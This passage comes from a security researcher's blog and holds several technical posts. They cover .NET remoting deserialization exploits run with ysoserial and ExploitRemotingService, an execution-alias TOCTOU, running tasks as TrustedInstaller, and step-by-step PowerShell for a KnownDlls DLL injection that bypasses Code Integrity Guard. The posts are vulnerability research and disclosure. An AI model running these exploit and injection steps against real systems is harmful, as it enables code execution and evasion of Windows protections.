crashing down on their heads. I reported Binny to the authorities (via a certain Chief Constable Dorrans) but they seemed to be little interested in making the perpetrator change their ways. I made a note in my log book (ExploitRemotingServices) and continued on my way, satisfied in a job well done, sort of. ### The Less Wankery, Useful, Technical Bit TL;DR; for some reason Visual Studio 2017 (and possibly 2019) has code which specifically uses .NET remoting in a fairly insecure way. It doesn't do authentication, it uses TCP for no obvious reason and it sets the type filter mode to Full which means it'd be trivially vulnerable to serialization attacks (see blog posts passim). However, on a positive note it does bind to localhost only, which will ensure it's not remotely exploitable and it chooses to generate a random service name, from a GUID, which makes it almost impossible to guess or brute force. Therefore, it's basically unexploitable outside a difficult to win race condition and only if the attacker is on the same machine as the user running Visual Studio. I don't like those odds, so I never seriously considered reporting it to MSRC. Why I am even blogging about it? It's all to do with the fact that you can not specify the URI, and as long a no one has previously connected to the service successfully then you can reach the call to BinaryFormatter::Deserialize and potentially get arbitrary code execution. This might be especially interesting if you're running a pentesting engagement and you find an exposed .NET remoting service but do not have a copy of the client or server with which to extract the appropriate URI to make a call. How would you know if you do find such a service? If you send garbage to a .NET remoting service (at least not in secure mode) it will respond with the previously mentioned magic ".NET" signature data, as show in the following screenshot from Wireshark: When combined with the fact that the .NET remoting protocol doesn't require any negotiation (again assuming no secure mode) we can create a simple payload which would exploit any .NET remoting server assuming we have a suitable serialization payload, the server is running in Full type filter mode and nothing has previously connected to the service. Let's put that payload together. You'll need the latest ExploitRemotingService from GitHub and also a copy of ysoserial.net to generate a serialization payload. First run the following ysoserial comment to generate a simple TypeConfuseDelegate which will start notepad when deserialized and write the raw data to the file run_notepad.bin: ysoserial.exe -f BinaryFormatter -o raw -g TypeConfuseDelegate -c notepad > run_notepad.bin Now run ExploitRemotingService, ensuring you pass both the --nulluri option and the --path to output the request to a file and use the raw command with the run_notepad.bin file: ExploitRemotingService.exe --nulluri --path request.bin tcp://127.0.0.1:1234/RemotingServer raw run_notepad.bin You'll now have a file which looks like the following: Normally before the serialized data there should be the URI for the remoting service (as shown in the first screenshot of this blog post), which is not present in this file. We can now test this out, run the ExampleRemotingService with the following command line, binding to port 1234 and running with Full type filter mode: ExampleRemotingService.exe -p 1234 -t full Using your favorite testing tool, such as netcat, just dump the file to TCP port 1234: nc 127.0.0.1 1234 < request.bin If everything is correct, you'll find notepad starts. If it doesn't work ensure you've built ExampleRemotingService as a .NET 4 binary otherwise the serialization payload won't execute. What if the service has been connected to before and so the last URI has been set? One trick would be to find a way of causing the server to crash *cough* but that's out of the scope of this blog post. If anyone fancies adding a new plugin to ysoserial to generate the raw payload rather than needing two tools, then be my guest. I think it's worth stressing, once again, that you really should not be using .NET remoting on anything you care about. I'd be interested to find out if anyone manages to use this technique on a real engagement. # Bypassing Low Type Filter in .NET Remoting 25 October 2019 at 21:02 I recently added a new feature my .NET remoting exploitation tool which is many cases allow you to exploit an arbitrary service through serialization. This feature has always existed in the tool, if you passed the useser option, however it only worked if the service had enabled Full Type Filter mode, the default for remoting services is Low Type Filter which my tool couldn't easily exploit. I'm going to explain how I bypassed it Low Type Filter mode in the latest tool. It's worth noting that this technique is currently unpatched, however no one should be using .NET remoting in a modern context (*cough* Visual Studio *cough*). I'd recommend starting by reading my previous blog post on this subject as it describes where the Type Filtering comes into play. You can also read this MSDN page which describes what can and cannot be deserialized during a .NET remoting call with Low versus Full Type Filtering enabled. In simple terms enabling Low (which is the default) over Full results in the following restrictions: • Object types derived from MarshalByRefObject, DelegateSerializationHolder, ObjRef, IEnvoyInfo and ISponsor can not be deserialized. • All objects which are deserialized must not Demand any CAS permission other than SerializationFormatter permission. The useser technique abuses the fact that certain classes such as DirectoryInfo and FileInfo are both derived from MarshalByRefObject (MBR) and are also serializable. By deserializing an instance of one of the special classes inside a carefully crafted Hashtable, with a MBR instance of IEqualityComparer you can get the server to pass back the instance. As this object is passed back over a remoting the channel the DirectoryInfo or FileInfo objects are marshalled by reference and are stuck inside the server. We can now call methods on the returned object to read and write arbitrary files, which can use to get full code execution in the server. I've summarized the main interactions in the following diagram: Low Type Filter acts to modify the behavior of the BinaryServerFormatterSink block, which encapsulates blocks 3, 4 and 5. The change in behavior blocks the useser technique in three ways. Firstly in order to get the instance of the special object passed back to the client we need to pass a MBR IEqualityProvider. This will be blocked during handling of the remoting message (3). Secondly when deserializing an instance of FileInfo or DirectoryInfo (4) a Demand is made for a FileIOPermission for the path to access. As the permission Demand is made during deserialization it hits the restriction that only SerializationFormatter permissions are allowed. Thirdly, even if the object is deserialized successfully we'll hit a final problem, calling the IEqualityProvider (5 and 6) over a remoting channel to pass back the reference requires setting up a new TCP or Named Pipe connection. Setting up the connection will also hit the limited permissions and again throw an exception causing the call to fail. How can we work around the three issues? Let's first bypass the type checking which prevents MBR objects being deserialized. If you dig into the code you'll find the type checks are performed in the ObjectReader::CheckSecurity method, which is as follows: internal void CheckSecurity(ParseRecord pr) { Type t = pr.PRdtType; if ((object)t != null){ if(IsRemoting) { if (typeof(MarshalByRefObject).IsAssignableFrom(t)) throw new ArgumentException(); FormatterServices.CheckTypeSecurity(t, formatterEnums.FEsecurityLevel); } }} The important thing to note is that the checks are only made if the IsRemoting property is true. What determines the value of the property? Again we can just look in the reference source: private bool IsRemoting { get { return (bMethodCall || bMethodReturn); }} What sets bMethodCall or bMethodReturn? They're set by the BinaryFormatter when it encounters the special MethodCall or MethodReturn record types. It turns out that maybe for performance or security (unclear) the formatter can special case these object types when used in .NET remoting and only storing properties of these objects when serializing and reconstructing the method objects when deserializing. However if you read my previous blog post you'll notice something, I was unmarshalling a MBR instance of an IMessage, and that didn't hit the checks. This was because as long as the top level record is not a MethodCall or MethodReturn record type then we can deserialize anything we like, that was easy to bypass. In theory we can just pass a serialized Hashtable as the top level object, it'll cause the remoting server code to fault when trying to call methods on the message object but by then it'd be too late. In fact this is exactly what the useser option does anyway, however it's the second security feature which really causes us problems trying to get it to work on Low Type Filter. When handling an incoming request is enables a PermitOnly CAS grant over the deserialization process, which only allows SerializationFormatter permissions to be asserted. You can see it in action in the reference source here, which I've copied below. PermissionSet currentPermissionSet = null; if (this.TypeFilterLevel != TypeFilterLevel.Full) { currentPermissionSet = new PermissionSet(PermissionState.None); currentPermissionSet.SetPermission(  new SecurityPermission(  SecurityPermissionFlag.SerializationFormatter)); } try { if (currentPermissionSet != null) currentPermissionSet.PermitOnly(); // Deserialize Request - Stream to IMessage requestMsg = CoreChannel.DeserializeBinaryRequestMessage(  objectUri, requestStream, _strictBinding, this.TypeFilterLevel);  }finally { if (currentPermissionSet != null) CodeAccessPermission.RevertPermitOnly();}  As we're passing the Hashtable containing the serialized object we want to capture as well as the MBR IEqualityComparer as the top level object all of our machinations will run during this PermitOnly grant, which as I've already noted will fail. If we could defer the deserialization, or at least any privileged operation until after the CAS grant is reverted we'd be able to exploit this trick, but how can we do that? One way to defer code execution is to exploit object finalization. Basically when an object's resources are about to be reclaimed by the GC it'll call the object's finalizer. This call is made on a GC thread completely outside the deserialization process and so wouldn't be affected by the CAS PermitOnly grant. In fact abusing finalizers was something I pointed out in my original research on .NET serialization, a good example is the infamous TempFileCollection class. I thought about trying to find a useful gadget to exploit this, however there were two problems. First the difficulty in finding a suitable object which is both serializable and has a useful finalizer defined and second, the call to the finalizer is non-deterministic as it's whenever the GC gets called. In theory the GC might never be called. I decided to focus on a different approach based on a non-obvious observation. The PermitOnly security behaviors of Low Type Filter only apply when calling a method on a server object, not deserializing the return value. Therefore if I could find somewhere in the server which calls back to a MBR object I control then I can force the server to deserialize an arbitrary object. This object can be used to mount the attack as the deserialization would not occur under the PermitOnly CAS grant and I can use the same Hashtable trick to capture a DirectoryInfo or FileInfo object. In theory you could find an exposed method on the server object to use for this callback, however I wanted my code to be generic and not require knowledge of the server object outside of the knowing the URI. Therefore it'd have to be a method we can call on the MBR or base Object class. An initial look only shows one candidate, the Object::Equals method which takes a single parameter. Unfortunately most of the time a server object won't override this method and the default just performs reference equality which doesn't call any methods on the passed object. The only other candidates are the InitializeLifetimeServer or GetLifetimeService methods which return an MBR which implements the ILease interface. I'm not going to go into what this is used for (you can read up on it on MSDN) but what I noticed was the ILease interface has a Register method which takes an object which implements ISponsor interface. If you registered an MBR object in the client with the server's lifetime service then when the server wants to check if the object should be destroyed it'll call the ISponsor::Renewal method, which gives us our callback. While the method doesn't return an object, we can just throw an exception with the Hashtable inside and exploit the service. Victory? Not quite, it turns out that we've now got new problems. The first one is the Renewal call only happens when the lifetime counter expires, the default timeout is around 10 minutes from the last call to the server. This means that our exploit will only run at some long, potentially indeterminate point in time. Not the end of the world, but as frustrating as waiting for a GC run to get a finalizer executed. But the second problem seems more insurmountable, in order to set the ISponsor object we need to make an actual call to the server, however Low Type Filter would stop us from passing an MBR ISponsor object as the top level object would be a MethodCall record type which would throw an exception when it was encountered during argument deserialization. What can we do? Turns out there's an easy way around this, the framework provides us with a full serializable MethodCall class. Instead of using the MethodCall record type we can instead package up a serializable MethodCall object as the top level object with all the data needed to make the call to Register. As the top level object is using a normal serialized object record type and not a MethodCall record type it'll never trigger the type checking and we can call Register with our MBR ISponsor object. You might wonder if there's another problem here, won't deserializing the MBR cause the channel to be created and hit the PermitOnly CAS grant? Fortunately channel setup is deferred until a call is made on the object, therefore as long as no call is made to the MBR object during the deserialization process we'll be out of the CAS grant and able to setup the channel when the Renewal method is called. We now have a way of exploiting the remoting service without knowledge of any specific methods on the server object, the only problem is we might need to wait 10 minutes to do it. Can we improve on the time? Digging further into default remoting implementation I noticed that if an argument being passed to a method isn't directly of the required type the method StackBuilderSink::SyncProcessMessage will call Message::CoerceArgs to try the coerce the argument to the correct type. The fallback is to call Convert::ChangeType passing the needed type and the object passed from the client. To convert to the correct type the code will see if the passed object implements the IConvertible interface and call the ToType method on it. Therefore, instead of passing an implementation of ISponsor to Register we just pass one which implements IConvertible the remoting code will try and coerce it using ChangeType which will give us our needed callback immediately without waiting 10 minutes. I've summarized the attack in the following diagram: This entire exploit is implemented behind the uselease option. It works in the same way as useser but should work even if the server is running Low Type Filter mode. Of course there's caveats, this only works if the server sets up a bi-direction channel, if it registers a TcpChannel or IpcChannel then that should be fine, but if it just sets up a TcpServerChannel it might not work. Also you still need to know the URI of the server and bypass any authentication requirements. If you want to try it out grab the code from github and compile it. First run the ExampleRemotingServer with the following command line: ExampleRemotingService.exe -t low This will run the example service with Low Type Filter. Now you can try useser with the following command line: ExploitRemotingService.exe --useser tcp://127.0.0.1:12345/RemotingServer ls c:\ You should notice it fails. Now change useser to uselease and rerun the command: ExploitRemotingService.exe --uselease tcp://127.0.0.1:12345/RemotingServer ls c:\ You should see a directory listing of the C: drive. Finally if you pass the autodir option the exploit tool will try and upload an assembly to the server's base directory and bootstrap a full server from which you can call other commands such as exec. ExploitRemotingService.exe --uselease --autodir tcp://127.0.0.1:12345/RemotingServer exec notepad If it all works you should find the example server will spawn notepad. This works on a fully up to date version of .NET (e.g. .NET 4.8). The take away from this is DO NOT EVER USE .NET REMOTING IN PRODUCTION. Even if you're lucky and you're not exploitable for some reason the technologies should be completely deprecated and (presumably) will never be ported .NET Core. # Overview of Windows Execution Aliases 11 September 2019 at 13:10 I thought I'd blogged about this topic, however it turns out I hadn't. This blog is in response to a recent Twitter thread from Bruce Dawson on a "fake" copy of Python which Microsoft seems to have force installed on some peoples Windows 10 1903 installations. I'll go through the main observation in the thread that the Python executable is 0 bytes in size, how this works under the hood to start a process and I'll finish with a dumb TOCTOU bug which still exists in part of the implementation which _might_ be useful as part of an EOP chain. Execution Aliases for UWP applications were introduced in Windows 10 Fall Creators Update (1709/RS3). For application developers this feature is exposed by adding an AppExecutionAlias XML element to the application's manifest. The manifest information is used by the AppX installer to drop the alias into the %LOCALAPPDATA%\Microsoft\WindowsApps folder, which is also conveniently (or not depending on your POV) added to the user PATH environment variable. This allows you to start a UWP application as if it was a command line application, including passing command line arguments. One example is shown below, which is taken from the WinDbgX manifest. <uap3:Extension Category="windows.appExecutionAlias" Executable="DbgX.Shell.exe" EntryPoint="Windows.FullTrustApplication"> <uap3:AppExecutionAlias> <desktop:ExecutionAlias Alias="WinDbgX.exe" /> </uap3:AppExecutionAlias></uap3:Extension> This specifies an execution alias to run DbgX.Shell.exe from the file WinDbgX.exe. If we go to the WindowsApps folder we can see that there is a file with that name, and as mentioned in the Twitter thread it is a 0 byte file. Also if you try and open the file (say using the type command) it fails. How can an empty file result in a process being created? Executing the WinDbgX.exe file inside a shell while running Process Monitor shows some interesting results which I've highlighted below: The first thing to highlight is the CreateFile calls which return a "REPARSE" result. This is a good indication that the file contains a reparse point. You might assume therefore that this file is a symbolic link to the real target, however a symbolic link would still be possible to open which we can't do. Another explanation is the reparse point is a custom type, not understood by the kernel. This ties in with the subsequent call to FileSystemControl with the FSCTL_GET_REPARSE_POINT code which would indicate some user-mode code is requesting information about the stored reparse point. Looking at the stack trace we can see who's requesting the reparse point data: The stack trace shows the reparse point data is being queried from inside CreateProcess, through the exported function LoadAppExecutionAliasInfoEx. We can dig into CreateProcessInternal to see how it all works: HANDLE token = ...;NTSTATUS status = NtCreateUserProcess(ApplicationName, ..., token); if (status == STATUS_IO_REPARSE_TAG_NOT_HANDLED) { LPWSTR alias_path = ResolveAlias(ApplicationName); PEXEC_ALIAS_DATA alias; LoadAppExecutionAliasInfoEx(alias_path, &alias); status = NtCreateUserProcess(alias.ApplicationName, ..., alias.Token);} CreateProcessInternal will first try and execute the path directly, however as the file has an unknown reparse point the kernel fails to open the file with STATUS_IO_REPARSE_TAG_NOT_HANDLED. This status code provides a indicator to take an alternative route, the alias information is loaded from the file's reparse tag using LoadAppExecutionAliasInfoEx and an updated application path and access token are used to start new the new process. What is the format of the reparse point data? We can easily dump the bytes and have a look in a hex editor: The first 4 bytes is the reparse tag, in this case it's 0x8000001B which is documented in the Windows SDK as IO_REPARSE_TAG_APPEXECLINK. Unfortunately there doesn't seem to be a corresponding structure, but with a bit of reverse engineering we can work out the format is as follows: Version: <4 byte integer> Package ID: <NUL Terminated Unicode String> Entry Point: <NUL Terminated Unicode String> Executable: <NUL Terminated Unicode String> Application Type: <NUL Terminated Unicode String> The reason we have no structure is probably because it's a serialized format. The Version field seems to be currently set to 3, I'm not sure if there exists other versions used in earlier Windows 10 but I've not seen any. The Package ID and Entry Point is information used to identify the package, an execution alias can't be used like a shortcut for a normal application it can only resolve to an installed packaged application on the system. The Executable is the real file to executed that'll be used instead of the original 0 byte alias file. Finally Application Type is the type of application being created, while a string it's actually an integer formatted as a string. The integer seems to be zero for desktop bridge applications and non-zero for normal sandboxed UWP applications. I implemented a parser for the reparse data inside NtApiDotNet, you can view it in NtObjectManager using the Get-ExecutionAlias cmdlet. We now know how the Executable file is specified for the new process creation but what about the access token I alluded to? I actually mentioned about this at Zer0Con 2018 when I talked about Desktop Bridge. The AppInfo service (of UAC fame) has an additional RPC service which creates an access token from a execution alias file. This is all handled inside LoadAppExecutionAliasInfoEx but operates similar to the following diagram: The RAiGetPackageActivationToken RPC function takes a path to the execution alias and a template token (which is typically the current process token, or the explicit token if CreateProcessAsUser was called). The AppInfo service reads the reparse information from the execution alias and constructs an activation token based on that information. This token is then returned to the caller where it's used to construct the new process. It's worth noting that if the Application Type is non-zero this process doesn't actually create the AppContainer token and spawn the UWP application. This is because activation of a UWP application is considerably more complex to stuff into CreateProcess, so instead the execution alias' executable file is specified as the SystemUWPLauncher.exe file in system32 which completes activation based on the package information from the token. What information does the activation token contain? It's basically the Security Attribute information for the package, this can't normally be modified from a user application, it requires TCB privilege. Therefore Microsoft do the token setup in a system service. An example token for the WinDbgX alias is shown below: The rest of the activation process is not really that important. If you want to know more about the process checkout my talks on Desktop Bridge and the Windows Runtime. I promised to finish up with a TOCTOU attack. In theory we should be able to create execution alias for any installed application package, it might not start a working process be we can use RAiGetPackageActivationToken to get a new token with explicit package security attributes which could be useful for further exploitation. For example we could try creating one for the Calculator package with the following PowerShell script (note this uses version information for calculator on 1903 x64). Set-ExecutionAlias -Path C:\winapps\calc.exe  -PackageName "Microsoft.WindowsCalculator_8wekyb3d8bbwe"  -EntryPoint "Microsoft.WindowsCalculator_8wekyb3d8bbwe!App"  -Target "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.53.0_x64__8wekyb3d8bbwe\Calculator.exe"  -AppType UWP1 If we call RAiGetPackageActivationToken this works and creates a new token, however it creates a reduced privilege UWP token (it's not an AppContainer but for example all privileges are stripped and the security attributes assumes it'll be in a sandbox). What if we wanted to create a Desktop Bridge token which isn't restricted in this way? We could change the AppType to Desktop, however if you do this you'll find RAiGetPackageActivationToken fails with an access denied error. Digging a bit deeper we find it fails in daxexec!PrepareDesktopAppXActivation, specifically when it's checking if the package contains any Centennial (now Desktop Bridge) applications. HRESULT PrepareDesktopAppXActivation(PACTIVATION_INFO activation_info) { if ((activation_info->Flags & 1) == 0) { CreatePackageInformation(activation_info, &package_info); if (FAILED(package_info->ContainsCentennialApplications())) { return E_ACCESS_DENIED; // <-- Fails here. } } // ... } This of course makes perfect sense, no point creating an desktop activation token for a package which doesn't have desktop applications. However, notice the if statement, if bit 1 is not set it does the check, however if set these checks are skipped entirely. Where does that bit get set? We need to go back to caller of PrepareDesktopAppXActivation, which is, unsurprisingly, RAiGetPackageActivationToken. ACTIVATION_INFO activation_info = {};bool trust_label_present = false;HRESULT hr = IsTrustLabelPresentOnReparsePoint(path, &trust_label_present);if (SUCCEEDED(hr) && trust_label_present) { activation_info.Flags |= 1;} PrepareDesktopAppXActivation(&activation_info); This code shows that the flag is set based on the result of IsTrustLabelPresentOnReparsePoint. While we could infer what that function is doing let's reverse that as well: HRESULT IsTrustLabelPresentOnReparsePoint(LPWSTR path, bool *trust_label_present) { HANDLE file = CreateFile(path, READ_CONTROL, ...); if (file == INVALID_HANDLE_VALUE) return E_FAIL; PSID trust_sid; GetWindowsPplTrustLabelSid(&trust_sid); PSID sacl_trust_sid; GetSecurityInfo(file, SE_FILE_OBJECT, PROCESS_TRUST_LABEL_SECURITY_INFORMATION, &sacl_trust_sid); *trust_label_present = EqualSid(trust_sid, sacl_trust_sid); return S_OK;} Basically what this code is doing is querying the file object for its Process Trust Label. The label can only be set by a Protected Process, which normally we're not. There are ways of injecting into such processes but without that we can't set the trust label. Without the trust label the service will do the additional checks which stop us creating an arbitrary desktop activation token for the Calculator package. However notice how the check re-opens the file. This is occurring after the reparse point has been read which contains all the package details. It should be clear that here is a TOCTOU, if you can get the service to first read a execution alias with the package information, then switch that file to another which has a valid trust label we can disable the additional checks. This was an attack that my BaitAndSwitch tool was made for. If you build a copy then run the following command you can then use RAiGetPackageActivationToken with the path c:\x\x.exe and it'll bypass the checks: BaitAndSwitch c:\x\x.exe c:\path\to\no_label_alias.exe c:\path\to\valid_label_alias.exe x Note that the final 'x' is not a typo, this ensures the oplock is opened in exclusive mode which ensures it'll trigger when the file is initially opened to read the package information. Is there much you can really do with this? Probably not, but I thought it was interesting none the less. It'd be more interesting if this had disabled other, more important checks but it seems to only allow you to create a desktop activation token. That about wraps it up for now. Embedding this functionality inside CreateProcess was clever, certainly over the crappy support for UAC which requires calling ShellExecute. However it also adds new and complex functionality to CreateProcess which didn't exist before, I'm sure there's probably some exploitable security bug in the code here, but I'm too lazy to find it :-) # The Art of Becoming TrustedInstaller - Task Scheduler Edition 2 September 2019 at 05:28 2 years ago I wrote a post running a process in the TrustedInstaller group. It was pretty well received, and as others pointed out there's many way of doing the same thing. However in my travels I came across a new way I've not seen documented before, though I'm sure someone will point out where I've missed documentation. As with the previous post, this does require admin privileges, it's not a privilege escalation. Also I tested the behavior I'm documented on Windows 10 1903. Your mileage may vary on different versions of Windows. It revolves around the Task Scheduler (obvious by the title I guess), specifically calling the IRegisteredTask::RunEx method exposed by the Task Scheduler COM API. The prototype of RunEx is as follows: HRESULT RunEx( VARIANT params, LONG flags, LONG sessionID, BSTR user, IRunningTask **ppRunningTask ); The thing we're going to use is the user parameter, which is documented as "The user for which the task runs." Cheers Microsoft! Through a bit of trial and error, and some reverse engineering it's clear the user parameter can take three types of string values: 1. A normal user account. This can be the name or a SID. The user must be logged on at the time of starting the task as far as I can tell. 2. The standard system accounts, i.e. SYSTEM, LocalService or NetworkService. 3. A service account! Number 3 is the one we're interested in here, it allows you to specify an installed service account, such as TrustedInstaller and the task will run as SYSTEM with the service SID included. Let's try it out. The advantage of using the user parameter is the task can be registered to run as a normal user, and we'll change it at run time to be more sneaky. In theory you could directly register the task to run as TrustedInstaller, but then it'd be more obvious if anyone went looking. First we need to create a scheduled task, run the following script in PowerShell to create a simple task which will run notepad.$a = New-ScheduledTaskAction -Execute notepad.exe
Register-ScheduledTask -TaskName 'TestTask' -Action $a Now we need to call RunEx. While PowerShell has a Start-ScheduledTask cmdlet neither it, or the schtasks.exe /Run command allows you to specify the user parameter (aside, the /U parameter for schtask does not do what you might think). Instead as the COM API is scriptable we can just run some PowerShell again and use the COM API directly.$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()$user = 'NT SERVICE\TrustedInstaller'
$folder =$svc.GetFolder('\')
$task =$folder.GetTask('TestTask')
$task.RunEx($null, 0, 0, $user) After executing this script you should find a copy of notepad running as SYSTEM with with the TrustedInstaller group in the access token. Enjoy responsibly. # Windows Code Injection: Bypassing CIG Through KnownDlls 11 August 2019 at 00:20 TL;DR; This blog post describes a technique to inject a DLL into a process using only Duplicate Handle process access (caveats apply) which will also bypass Code Integrity Guard. I've been attending Blackhat USA 2019 and watched a presentation by Amit Klein and Itzik Kotler on Windows Process Injection techniques. While I didn't learn anything new from the presentation that you couldn't from just reading Hexacorn's blog it was interesting to see them document what techniques worked against Code Integrity Guard (CIG) and what did not. CIG if you don't know, is Microsoft's term for blocking non-MS signed DLLs from being loaded into a process. If CIG is enabled on a process then you can load an arbitrary DLL not signed by Microsoft, instead you'll have to do some sort of shellcode or ROP. During the presentation I was waiting for the punchline of a technique which bypasses CIG to load an arbitrary DLL, but it never arrived. I'm guessing the researchers don't bother to read my blog posts *sigh*, such as this one on injecting code into a Protected Processes though abusing the KnownDll mechanism. This would also work to bypass CIG if injecting from an external process not under CIG (or Device Guard). All the ways of hijacking the Known DLL loader that I've documented rely on knowing the location of Known DLL handle in NTDLL's data section. That's useful when you have little control over the target process and only an arbitrary read/write primitive. For user-mode code injection you're likely to be able to do anything to the process. Writing a new handle value does have draw backs if you're thinking about it from a generic code injection perspective. Firstly the location of the handle can (and does) change depending on the version of NTDLL and secondly if you access and write memory of another process you might as well call your binary malware.exe. Of course writing to memory is not the only way to hijack Known DLLs, you can achieve the same thing with only Duplicate Handle access on the process, which is probably slightly less suspicious. How can we do this without modifying the handle value? There's 3 key observations we can make that only require Duplicate Handle access: 1. We can find the existing handle value of the KnownDlls directory by duplicating handles from a process to another and querying for the name. 2. We can close a handle in another process by specifying DUPLICATE_CLOSE_SOURCE to DuplicateHandle. 3. The kernel's handle allocator will reuse the handle values so we can replace the original handle with a different object through brute force. Let's go through how this works in practice. I'm going to show some snippets of PowerShell which use my NtObjectManager module. I'm not going to provide a full end-to-end proof-of-concept however for various reasons. Step 1: Bring up a process to inject into, the Known DLLs handle is created during the initial loader process before the process entry point is called, so the process must run at least that long. Once we know the Process ID of the process to inject into we can dump all handles in the process and look for anything with the NT type of Directory. Each directory handle can then be duplicated into the current process and inspected. If the name of the directory is "\KnownDlls" we've found our target. In PowerShell we can use my Get-NtHandle cmdlet to dump the handle table, this doesn't require opening the process itself. To get the name we only need PROCESS_DUP_HANDLE access to the target. Here's a basic PS function to get the handle value:$id = $(Get-Process notepad).Id$hs = Get-NtHandle -ProcessId $id -ObjectTypes Directory foreach($h in $hs) { if ($h.Name -eq '\KnownDlls') {
$handle =$h.Handle
break
}
}

Step 2: Create an empty object directory and insert into it a named image section object. The name of the section needs to match the name of the system32 DLL we want to hijack. The file backing the section is obviously the DLL you want loaded into the process. Again some code, assuming you've already created the directory

$dir = New-NtDirectory$sect = Use-NtObject($f = Get-NtFile -Path "\??\c:\dir\fake.dll") { New-NtSection -File$f -SectionAttributes Image 
-Root $dir -Path "blah.dll" -Protection Execute } } Step 3: Close the original Known DLLs handle. Again this only needs Duplicate Handle access. At this point you probably also want to suspend the process to ensure something doesn't execute and allocate the handle over the top of your now closed handle. Of course if you suspend the process you'll need a bit more access.$proc = Get-NtProcess -ProcessId $id -Access DupHandle Copy-NtObject -SourceHandle$handle -SourceProcess $proc  -CloseSource Step 4: Repeatedly duplicate the fake Known DLLs directory you created in step 2 until you get the same handle value as you identified in step 1. If the process is suspended this shouldn't take more than a few tries at worst.$i = 0
while($i -lt 1000) {$h = Copy-NtObject -DestinationProcess $proc -Object$dir
if ($h -eq$Handle) {
break
}
$i++ } Step 5: Everything is now setup. The final step is you'll need to get a new library loaded from system32 inside the process. There's a number of possible techniques for this. You could go old-skool and create a new thread in process calling LoadLibrary. Or you could identify a DLL which you know the process will load in response to a UI or RPC action. For example opening a file in Notepad will spawn the explorer open dialog which pulls in ALOT of new DLLs. Be creative, at least if you don't want to open the process with anything above Duplicate Handle access. The question you might be asking is, "Do any AV/Host Detection tools catch this trick?". Honestly I don't know, nor do I care. However it has some things going for it: • It doesn't requiring reading or writing memory from the target process. • Inline hooks on LoadLibrary/LdrLoadDll will just see loading a system32 DLL unless they also then query for the mapped file name after the operation has completed. • It bypasses CIG, so anyone thinking that'll prevent injection will be surprised. You could probably make it even more convert, but I'm not going to do so. As I've noted before I'm also not going to write a proof-of-concept or write a tool to do this, you can do it yourself. # Digging into the WSL P9 File System 12 July 2019 at 15:23 Windows 10 version 1903 is upon us, which gives me a good reason to go looking at what new features have been added I can find bugs in. As it's clear people seem to appreciate fluff rather than in-depth technical analysis I thought I'd provide a overview of my process I undertook to look at one new feature, the P9 file system added for the Windows Subsystem for Linux (WSL). The aim is to show my approach to analyzing a feature with the minimum amount of reverse engineering, ideally with no disassembly. ### Background When WSL was first introduced it had a pretty poor story for interoperability between the Linux instance and the host Windows environment. In the early versions the only, officially supported, way to interop was through DrvFS which allows you to mount local Windows drives into the Linux environment. This story has changed over time such as adding support to start Windows executables from Linux and better NTFS case-sensitivity support (which I blogged about already). But one fairly large pain point remained, accessing Linux files from Windows applications. You could do it, the files are stored inside the distro's package directory (%LOCALAPPDATA%\Packages\DISTRO\LocalState\rootfs), so you could open them directly. However WSL relies on various tricks to deal with the mismatch between Windows and Unix-style filesystem semantics, such as storing the UID/GID and file permission bits in extended attributes. Modifying these files using an unenlightened Windows application could result in corruption of the file state which in the worse case could break the distro. With the release of 1903 the WSL team (if such a thing exists) looks to be trying to solve this problem once and for all. This blog introduced the new feature, accessing Linux files via a UNC path. I felt this warranted at least a small amount of investigation to see how it works and whether there's any quick wins or low-hanging fruit. ### Understanding the Feature The first thing I needed was to setup a x64 version of 1903 in a Hyper-V VM. I then made the following changes, which I would always do regardless of what I end up using the VM for: • Disabled SecureBoot for the VM. • Enabled kernel debugging through BCDEDIT. Note that I tend to be paranoid enough to disable NICs in the VM (and my success of setting up alternative debug transports is mixed) so I resort to serial debugging over a named pipe. Note that for Gen 2 Hyper-V VMs you can't add a serial port from the UI, instead you need use the Set-VMComPort PowerShell cmdlet. • Install my tooling, such as NtObjectManager and SysInternals suite, especially Process Monitor. • Enabled the Windows Subsystem for Linux feature. • Install a distro of choice from the Windows Store. Debian is the most lightweight, but any will do for our purposes. Note that you don't need to login to the Store to get the distro, though the app will do its best to convince you otherwise. Don't listen to its lies. With a VM in hand we can now start the investigation. The first thing I do is take any official information at face value and use that to narrow the scope. For example reading the official blog post I could determine the following: • The feature uses the Plan 9 Filesystem Protocol to access files. • The files are accessed via the UNC path \\WSL$\DISTRO but only when the distro is running.
• The P9 server is hosted in the init process when the distro starts.
• The P9 server uses UNIX sockets for communication.
Based on those observations the first thing I want to do is try and find how the UNC path is implemented. The rationale for starting at the UNC path is simple, that's the only externally observable feature described in the blog post. Everything else, such as the use of P9 or UNIX sockets could be incorrect. I'm not expecting the blog post to outright lie about the implementation, but there's sometimes more important details to get right than others. It's worth noting here that you should increase your skepticism of a feature's technical description the older the blog post is as things can and will change.

If we can find how the UNC path is implemented that should also lead us to whether P9 is used as well as what transport the feature is using. An important question is whether these files are really accessed via the UNC path, which would imply kernel support, or is it only in Explorer? This is important to allow us to track down where the implementation lies. For example it's possible that if the feature only works in Explorer it could be implemented as a shell extension, similar to how MTP/PTP is supported.

To determine whether its a kernel driver or a shell extension it's as simple as opening the UNC path using the lowest possible function, which in this case means calling a system call. Invoking a system call will also eliminate the chance the WSL UNC path is implemented using some new feature added to the Win32 APIs. As my NtObjectManager module directly calls the NtOpenFile system call we can use that to do the test. I ran the following PowerShell command to check on the result:

$f = Get-NtFile \??\UNC\wsl$\Debian\bin\bash

This command successfully opens the BASH executable file. This is a clear indication that we now need to look at the kernel to find the driver responsible for implementing the UNC path. This is commonly implemented by writing a Network Mini-Redirector which handles a lot of the setup with the Multiple UNC Provider (MUP) and the IO Manager.

At this point the assumption would be the mini-redirector would be implemented in the LXCORE system driver which implements the rest of WSL. However a quick check of the imports with the DUMPBIN tool, shows the driver doesn't import anything from RDBSS which would be crucial for the implementation of a mini-redirector.

To find the actual driver name I'll go for the simplest, brute force approach, just list all drivers which import RDBSS and see if any are obvious candidates based on name. You could achieve this in one of many ways, for example you could implement a PE file parser and check the imports, you could script DUMPBIN, or you could just GREP (well FINDSTR) for RSBSS, which is what I'll do. I ran the following:

c:\> findstr /I /M rdbss c:\windows\system32\drivers\*.sys
c:\windows\system32\drivers\csc.sys
c:\windows\system32\drivers\mrxdav.sys
c:\windows\system32\drivers\mrxsmb.sys
c:\windows\system32\drivers\mrxsmb20.sys
c:\windows\system32\drivers\p9rdr.sys
c:\windows\system32\drivers\rdbss.sys
c:\windows\system32\drivers\rdpdr.sys

